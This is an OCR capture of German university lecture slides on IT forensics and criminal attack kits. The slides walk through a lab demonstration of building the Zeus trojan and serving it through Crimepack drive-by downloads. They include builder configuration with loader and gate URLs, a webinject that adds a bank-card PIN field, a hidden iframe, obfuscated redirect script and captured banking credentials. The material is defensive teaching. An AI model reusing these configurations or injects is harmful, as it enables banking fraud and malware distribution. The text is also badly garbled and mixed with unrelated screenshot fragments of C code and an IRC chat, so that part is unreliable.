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Motivation

= Massenangriffe gewinnen mehr an Bedeutung
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= Uber %3 infizierter Seiten auf Attack Kits zurtckfihrbar

= Hacking-Tools aus dem Baukasten ermoglichen:

o Benutzerfreundlichkeit
o Einsatz fur Jedermann

. . . “‘“r'
= Leicht zuganglich
= Auch kostenlos...

. | ﬁ/y { \

» Hohes Aufkommen
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Ziele

= Aufklarung

= Was verbirgt sich hinter den meisten Angriffen?
= Keine genialen Hacker am Werk

= Demonstration eines praktischen Szenarios

o Die Natur der Attack Kits
o Einfachheit ihres Einsatzes
= Einordnung der Zielgruppe

O
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Zielgrupp
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edje_object_part_text_set(_obj, : Ev down_x, down_y who creates them?
IS e e G R *|eichi (-eichiapS4SECF3C, dip. +- dialin.net) has
edje_object_size_min_calc(_obj, Sew, &eh); mneu

evas_object_move(_obj, 8, 0); unsigned char

evas. ob,m resizal eb;. . eh); unsigned chor eichi |shat development tools sre you (she coders from e17

how o you use’
e e what do
oy ==> File Edit Search Buffers Windows Help st FLpope o & Gatoan Edge = "eichi | mseii- ednor+5hell or sdk or what?
' ench of them. e_resize_update(w, h); char uze ell
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o-popup_ mave_ rasize(.di . pop:
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o far xll xde = i have tried annoy me too much one
ay or the otl
Sichi |k ay
cichi|i like mich colours und useless festures ;D
there are calors in terminals :)
cichi|yes i know
i like an anvironemt that makes coding more
effiicnet/ensier
raster |ans so far no ide does that for me
i e T e e Thcu e e obj) =ichi|but where are the clicki-clacki buttons ;)
e e e I§ ¥ or|mostyly becouse 1. they do not handle emcs
P e e e e R evaz_object_de keybindings for the editor
ns .mo compiled files fror an optional font and a config file that obj LL; e_gadman_mode_set(E_Gadman ‘nm E_Gadman_Node mode) rast and/or L
speuflc) the locale -nd (e s e e B e_gadman_mode_get(E_Gadmn *gm ; ster|they do not allow miltiple soruce windows to be
or superuzer, snd the .mo in the system or u user locales dir F (_dizp_pop) d e gadmen_contai ner_resize(E_Gadmn *gm ; dizplayed nad amnged in 8 nice tiled fashion
[ { e gadmn h 1 (© 48/118,1712: 4Gam - eichi|l used eclipse for java coding, 1 like it, its

-+ C0d3: TODO | (Text) 81/204,1 12: 46am-
e_obj ect_del(E_0BIECT(_dizp_pop)) ;
di=p_pop :

«_popup_ show(_disp_pop ;
visible

oid
< resize_end(void)
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Edit Mode Search Buffers Windows

ket warp, while_selacting = 13

- swinlist_warp_at_en

- swinlist_warp_speed

- winlist_scroll_snimate = 1;

char bufl40]; - swinlist_scroll_speed = 0.1;
gme-sh = gme-szone-xy + gne-szone-sh - gme- sy swinlizt_List_shos_iconified = 1;

b if (1_disp_pop) return: swinlist_ list. show_othe

if (1visible) swinlist_List_show_othe

Edit Mode Search Buffers Windows System
gme- 2 nh;

Search  Buffers Windows System Help

* if we are atthe edge or heyond. nssyme we want to be all the way there */ [le resize_updatelint w, int h)
h- 1 F10 key Fi -
Thi e Toue e s U 13 o U s i ¥ ol o g M

if (y 5= (gme->zone-»y + gne->zone
& now?|

7% limit to mx zize */
if (gme->mzh > B)
€ evas_object_show(_obj) ;
> gme->maxh) «_popup_ show (_dizp_pop) ;
visible = 1
gme-h = gne- smaxh;
anprintfbuf, zizeof(buf), "%is:
edje_object_part_text_zet(_obj,

b
< gadmen_cLient_aspect_enforce(gm:, 0.5, 0.0, 0);
me

x = gne->zo oid
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e_resize_updatelgme- . gme-sh); ob;

s o e e ek, e

evas_obj ect_ show(_ohj)

static void e_popup_edjs_bg_object. zet(_dizp_pop, _obj)
e_gadman_ch_menu_end(void *data, E_Menu *m)

smodules,

1/ e_move_update(x,
E_Gadman_Client *gme:
e_popup_move_resize(_disp_pop. List_sppend(e_config: smodules,
gme = data; iz - _disp,pop-szane:2x) + = € NEW(E. Confia Nodule, 17
e_object_del(E_0BIECT(m) ; uah, v e ] em o :rrdup( “dr opshadow] ;
gme-sment = HULL; obj dizp_ pu, szone-xy) +
) Alub, hd 72, SR smodules,
o n 17
tatic voi <.popup shou! e ioel
_gadman_ <b half width(void *data, E_Menu *m, E_Menu_Item *m) vizible

modules,

€_Gadman_Client *gne;

id
_move_end(void)
i >modules,

if (_obj)
if (gme->maxe > 0 t

t evas_object_del(_obj):
ob; smodules,

> > gme->mare) gme.w = gme- oo, e Lis
< asdnan.< | (01 165/1870:37 12: sgam e_moveresize.c | (C) 107/162,35 12: 46am : -
eree 1665 Lines e Jhome/raster/C/ e/ HEAD/ €17/ apps/ &/ src/bin/ e_gadman. ¢ o /home/ r aster/C/ e/ HEAD/ €17/ sppa/ e/ arc/bin/ e_moveresize.c —_—
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Ziele

= Aufklarung

= Was verbirgt sich hinter den meisten Angriffen?
= Keine genialen Hacker am Werk

= Demonstration eines praktischen Szenarios

o Die Natur der Attack Kits R
o Einfachheit ihres Einsatzes Wy
= Einordnung der Zielgruppe

= Aufmerksamkeit auf die Gefahren lenken!
= Aber auch Vorstellung von SicherheitsmaBnahmen
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Abgrenzung

= Keine gezielten Angriffe

o Gegen einzelne Ziele, wie Webserver
o Zur Vertretung von politischen Standpunkten
o Jedoch Spear-Fishing sehr wohl

= Keine aktiven Angriffe
= Mit Initilerung einer Attacke gegen passives Ziel

= Keine Evaluierung der gestohlenen Daten

= Weitere Schritte zur personlichen Bereicherung
o= Money-Mules

4
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1l Forensik

" Attack Kits - Definition

= Ansammlung von Modulen zur

= Komposition von individueller Schadsoftware,
o Administration von Botnetzen mit C&C-Server,

= Automatisierten Exploitation
> Exploit Kits

= Meist geschrieben in PHP, JavaScript und C++

o PHP
= Zur Installation und Verwaltung des C&C-Servers
= Zur Weiterverarbeitung von Anfragen -, landing page"
» Ansteuerung der Datenbank

o JavaScript
» Weiterleitung auf schadliche Seiten
= Exploitation

o C++ zur Erzeugung von Schadcode

© FH AACHEN UNIVERSITY OF APPLIED SCIENCES IT-Forensik an der FH Aachen - M.Eng. Eugen Pek

UNIVERSITY OF APPLIED SCIENCES

FH AACHEN




111
B I R Earoren:ik _ _
HH- Attack Kits - Vorgehensweise
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Trojaner

C&C Server
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Iz é
Ahnungsloser - h g%

Benutzer

Infizierter
legitimer Server

) Exploit-Server
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Attack Kits - Vorgehensweise

AN

Trojaner g
20 7 \

Exploit-Server

Wi
)

| V%

Ahnungsloser
Benutzer

C&C Server
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Attack Kits - Vorgehensweise
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mEEE"" Der (Underground-)Markt

= Orientiert an Prozessen aus der legitimen
Marktwirtschaft

= Werbung und Vertrieb uber Underground-Foren
und IRC
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Unternehmensinfrastruktur

Paparaaees  Pcrsonalmanagement
. KO n ku rre n Z ka m pf sLstlyiElizg Technologischz Entwicklung @
. Beschaffung %
o Preise g
Haupt: Eingangs- . Ausgangs- Galedn; Kunden- =
- E rfo I g S ra te n é::ﬂlfifi!er Loggistgi;k Lo Lozistﬁ;( L service .

Vertrieb

o Funktionsportfolio
o Support / Updates
= Softwarepiraterie

» Fehlender Support
» Risiko: Hintertiiren

Jq..id v

o
>N
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Attack Kits — die Trends

Ausgekligelte Verschleierungstechniken
Immer neuere Exploits
Einfachere Handhabung (durch Saa$s)

Entlastung der C&C-Server

o P2P
o Social Networks

Andere Plattformen werden anvisiert
o Insbesondere Mac OS X m/

Mobile Systeme

E NS

A
REWARD
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Erzeugung des Zeus-Trojaners
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Erzeugung des Zeus-Trojaners
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= Builder starten: output\builder\zsb.exe Z
3
& Zeus Builder (=) i
Information Builder
Biilder Source configuartion file:
Settings
CiiTempizeusiZeus 2.0.8, Youkputibuilderconfig [ Browse, ., ] [ Edit... ]
Actions
[ Build the bok configuration ] [ Build the bot executable ]

Euilding the bat. ..

Loading configuration. ..

bokret=

timer_config=1min, 1min
timer_logs=1min, 1min
timer_stats=1min, 1min
url_config=http:[f163.254,219, 25)zeus|config. bin
remove_cerks=1
disable_tcpserver=0
encrypion_kew=i0K

Creating executable File. ..

Size of output file is 140300 bytes,

BUILD SUCCEEDED!

= EpIT klicken, um statische und dynamische
Konfiguration anzupassen

© FH AACHEN UNIVERSITY OF APPLIED SCIENCES IT-Forensik an der FH Aachen - M.Eng. Eugen Pek | 16
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H Erzeugung des Zeus-Trojaners

= Statische Konfiguration wird hartcodiert in den
Trojaner geschrieben:
entry ,,StaticConfig”
timer_config 1 1
timer logs 11
timer_stats 11
url config ,,http://<serverA>/config.bin*
encryption key ,mykey*

end

= Weitere Konfiguration maoglich wie:
= Name des Botnetzes

o URL zur tatsachlichen IP des Opfers
o Sprachen auf schwarzer Liste

© FH AACHEN UNIVERSITY OF APPLIED SCIENCES IT-Forensik an der FH Aachen - M.Eng. Eugen Pek
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Erzeugung des Zeus-Trojaners

= Dynamische Konfiguration wird in eine
verschlusselte Datei geschrieben:
entry ,,DynamicConfig"
url loader ,,http://<serverB>/bot.exe*

url server ,,http://<serverC>/gate.php”
file webinjects ,,webinjects.txt”

end

= Weitere Konfiguration maoglich wie:
Nicht zu protokollierende URLs

URLs fur Screenshots

Redirection von Post/GET Requests
TAN Grabber

a

a

O

O
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Erzeugung des Zeus-Trojaners

= Inhalt einer webinjects.txt als Teil der
dynamischen Konfiguration:
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set url https://<Bank-Server>/* GP

data before

name=,,nachname‘“*</tr>

data_end

data _inject

<tr>

<td align="right">PIN der EC-Karte:</td>
<td><input name=“pinnummer” type="password”></td>
</tr>

data_end

data_after

data_end

© FH AACHEN UNIVERSITY OF APPLIED SCIENCES IT-Forensik an der FH Aachen - M.Eng. Eugen Pek | 19
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Erzeugung des Zeus-Trojaners

= Inhalt einer webinjects.txt als Teil der
dynamischen Konfiguration:
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set url https://<Bank-Server>/* GP
data before

name=,,nachname‘“*</tr>

data_end
data _inject
<tr> 5
W Carte:</td>

<td align="r @

<td><input ni'§ " ype="password”’></td>
</tr> <

data_end

data_after

data_end
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Erzeugung des Zeus-Trojaners

=, Build the bot configuration™
= ,Build the bot executable"
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& 7euS Builder (=)
Information EBuilder
Builder Source configuarkion File:
Settings
CATemplzeusiZeus 2.0.8, 9houtputbuilder config [ Bromse, .. ] [ Edit... ]
Ackions
l Build the bot configuration l l Build the bok executable l

Building the bat...

Loading configuration, .,

boknet=

timer_config=1min, 1min
timer_logs=1min, 1min
timer_skats=1min, 1min
url_config=http: /{169,254, 219, 25/zeus/config. bin
remove_cerks=1
disable_tcpserver=0
encryplion_key=0K

Creating executable file...

Size of oukput file is 140800 bytes,

BUILD SUCCEEDED!

= Dynamische Konfiguration auf <serverA>
kopieren

© FH AACHEN UNIVERSITY OF APPLIED SCIENCES IT-Forensik an der FH Aachen - M.Eng. Eugen Pek | 21
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" Attack Kit - Installation

HEEE
HEEEE
HECE
HEEC N

install password

= Installation

= des Crimepack-Servers ms)

o des Zeus-C&C-Servers

login:

admin account

login:

UNIVERSITY OF APPLIED SCIENCES
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Control Panel 2.0.8.9 Installer

Thiz application install and configure your control panel an
this server Please type settings and press 'Install'

Uszar name: (1-20 chars): admin

mysql settings

Paszsword (6-64 chars):

My S[L server:

Host: 1z27.0.001

User: root

Password:

Catabase: cpdb

Local folders:

Reports: _repors

Online bot timeout: 25

Encryption key (1-255 chars):

Enable write reports to database,

D Enable write reports ta local path. information

-- Install -- le to inztall depanding on your sp

© FH AACHEN UNIVERSITY OF APPLIED SCIENCES IT-Forensik an der FH Aachen - M.Eng. Eugen Pek | 23
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HH Drive-by-Download mit Crimepack

= Nach der Installation des Crimepack-Servers:
o Laden einer Portable Executable (hier Zeus-Trojaner)

UNIVERSITY OF APPLIED SCIENCES

FH AACHEN

loader file

N [ Duchauchen_ |

= AnschlieBend Login auf dem Crimepack-Server

© FH AACHEN UNIVERSITY OF APPLIED SCIENCES IT-Forensik an der FH Aachen - M.Eng. Eugen Pek | 24
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Drive-by-Download mit Crimepack

= Crimepack-Server = ,landing page"

MAIN + REFRESH » REFERRERS + COUNTRIES + BLACKLIST CHECK +» DOWNLOADER « iFRAME+ CLEAR STATS + SETTINGS « LOGOUT

UNIVERSITY OF APPLIED SCIENCES
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no crypt
<iframe name="LGUEavUGLT" srco="http://169.254.219.25/crimepack/ index.php™ marginwidch=ri"
marginheightc="0" title="uladUGApuV" bhorder="0" width="1" framebhorder="0" height="0"
sorolling="no"></iframe:>

<gcript language=Javalcript> kadl
var xerfkwxijsfe = 'eZVLEVyegTIELy3IceZVCEVyn \? e Z¥tEVymegYjELy 6! swar mhligrhogfhy

= 'pZY¥tEVymeg¥JELy7Z ' wvar unyevclewuf =

‘e EfYtEVymegY JELye le ¥ EVynegY JELvede 2¥LEVymegY JELyooeZY P LyZRe ¥t EVymegY JELyeee ¥
LtEVyImegY JELyole ¥ LEVymegY JELyode E¥tEVymegY JELy6 5e Y CEV oo ¥ ]

omegunefjih =

‘e EYtEVyImegY JELy 7 e s¥YLEVymegY JELvede ZYtEVymegY JELyehe Z¥LE

LtEVyIegY JELy 7 lec¥LEVymegY JELyode Z¥tEVymegY JELyod: " Vi

meg¥JELy7Y! var ogptlueddbii =

‘e TtEVymegY JELyZ 2e 2¥YtEVynegY JELv20e 2¥LEVymegY JELy7 /e 2¥t

LEVyIegY JELy e 2¥LEVymegY JELyeSe Z¥tEVymegY JELy3de YL EV vy

= Beim Aufruf beliebiger Seite* mit
dem Iframe:

1. Redirect auf landing page

© FH AACHEN UNIVERSITY OF APPLIED SCIENCES IT-Forensik an der FH Aachen - M.Eng. Eugen Pek | 25
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Drive-by-Download mit Crimepack
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Drive-by-Download mit Crimepack

= Installationsserver = ,landing page"

MAIN + REFRESH » REFERRERS + COUNTRIES + BLACKLIST CHECK +» DOWNLOADER « iFRAME+ CLEAR STATS + SETTINGS « LOGOUT

UNIVERSITY OF APPLIED SCIENCES
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no crypt
<iframe name="LGUEavUGLT" srco="http://169.254.219.25/crimepack/ index.php™ marginwidch=ri"
marginheightc="0" title="uladUGApuV" bhorder="0" width="1" framebhorder="0" height="0"
sorolling="no"></iframe:>
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Java Deserializ

ft Help

= Beim Aufruf beliebiger Seite mit
dem Iframe:

1. Redirect auf landing page

2. Evaluierung und Durchprobieren aller
Exploits,

3. um Zeus-Trojaner auszufuhren

. util, printf)

rruption
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HH Drive-by-Download mit Crimepack

= Wenn erfolgreich, dann gibt es folgende
Ubersicht:
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MAIN ¢ REFRESH + REFERRERS + COUNTRIES + BLACKLIST CHECK « DOWNLOADER + iFRAME+ CLEAR STATS « SETTINGS « LOGOUT

overall stats

loads
i

exploit stats

webstart

» jepeers-Exploit (CVE-2010-0806 ) funktioniert
z.B. auf ungepatchtem WinXP SP3!
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Was ist da genau passiert?

1. Mit dem jepeers-Exploit wurde Ausfihrung
beliebigen Codes ermoglicht.

2. Die Installationsroutine des Zeus-Trojaners hat
folgendes veranlasst:

a. Kopie in AppData*
b. Eintrag des Pfades zum Trojaner in der Registry
c. Einnistung in Prozessen

3. Download der dynamischen Konfiguration

4. Verschllisselung mit neuem RC4-Key:

a. Konfiguration
b. Gestohlene Daten
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Command-and-Control

= Standardmaflig protokolliert der Form Grabber
Eingaben mit

o Zusatzlich wurde webinjects.txt konfiguriert:
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Eingabe von geheimen Informationen,

z.B. Creditkartendaten: .
User input: EugenPek4242123456

Vorname: Eugen POST data:
Zuname: |Pek — vorname=Eugen
PIN der EC-Karte: eese zuname=Pek
Crediticartennummer: 123456 pinnummer=4242
nummer=123456

= HTTP Post-Request wird abgefangen

= Bevor Verschllisselungsroutinen greifen
= Durch Uberwachung der HttpSendRequest()
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Command-and-Control

I:l Bots action: | Full information

I:l PAUL-4F3F1C37F6_FE875768F2089EQEF
--, 169.254,167.103

$ [+] https:ff169,254, 219, 25/bank/index, htrml

v
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View report (HTTPS request, 211 bytes)

= Beispiel eines
HTTPS Requests:
o Systeminformationen
= Keylogger
= Form Grabber

Bot ID: PAUL-4F53F1C37FFG6_FE75768F2089EQEF
Botnet: -- default --

Warsion! 2.0.8.9

05 Wersion! “P, 5P 3

05 Language: 1031

Local time: 12,01.2013 17:40:33
GMT: +1:00

Sassion time:! 20:38:03

Report time: 12,01.2013 16:40:53
Country: --

IPug: 169.254,167,105

Comment for bot: -
In the list of uzed: Mo

Process name! Ci\PrograrmmelInternet ExploreIEXPLORE.EXE
Uzer of process: PALL-4FS71CE7FELPaul
Saource! https:/f169.254, 219,25/ bank/inde:x. html

https://169.254.219.25/bank/ index. html

Feferer: httpa: S/ 169.254.219. 25/ hank/

Uzer input: hank-s na—-bankEugenPek4d424212353456
PO3T data:

vorname=Eugen
zuname=Fek
pinnuntner=4242
nuniner=12353456
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= Augen auf!
= Infizierung ist ein aktiver Akt auf der Benutzerseite

= Updates

o Windows
= Browser
o Browser-Plugins

Eingeschrankte Benutzerrechte

Aktuelle Antivirensoftware

= Gegen direkte Angriffe:

o Endpoint Data Protection, IDS
o Feingefuhl bei 6ffentlichen Auftritten

UNIVERSITY OF APPLIED SCIENCES

FH AACHEN

© FH AACHEN UNIVERSITY OF APPLIED SCIENCES IT-Forensik an der FH Aachen - M.Eng. Eugen Pek

| 34



1l Forensik

il |
pu g
>0
2
>

Fazit

= Hacking-Angriffe (hier):
= Kauf / Download von Attack Kits

= Kompromiss zwischen:

= Inanspruchnahme von Diensten
= Nutzung der auf Endnutzer abgestimmten Softwarekomponenten

= Voraussetzungen fur Massenangriffe

o Gesunder Menschenverstand
= Allgemeine Computerkenntnisse

o Rudimentare Kenntnisse in:

= Bereitstellung von Webinhalten
= Webentwicklung

o Kriminalitatsbereitschaft

= Bei Inanspruchnahme von Diensten entfallen
spezifische Computerkenntnisse
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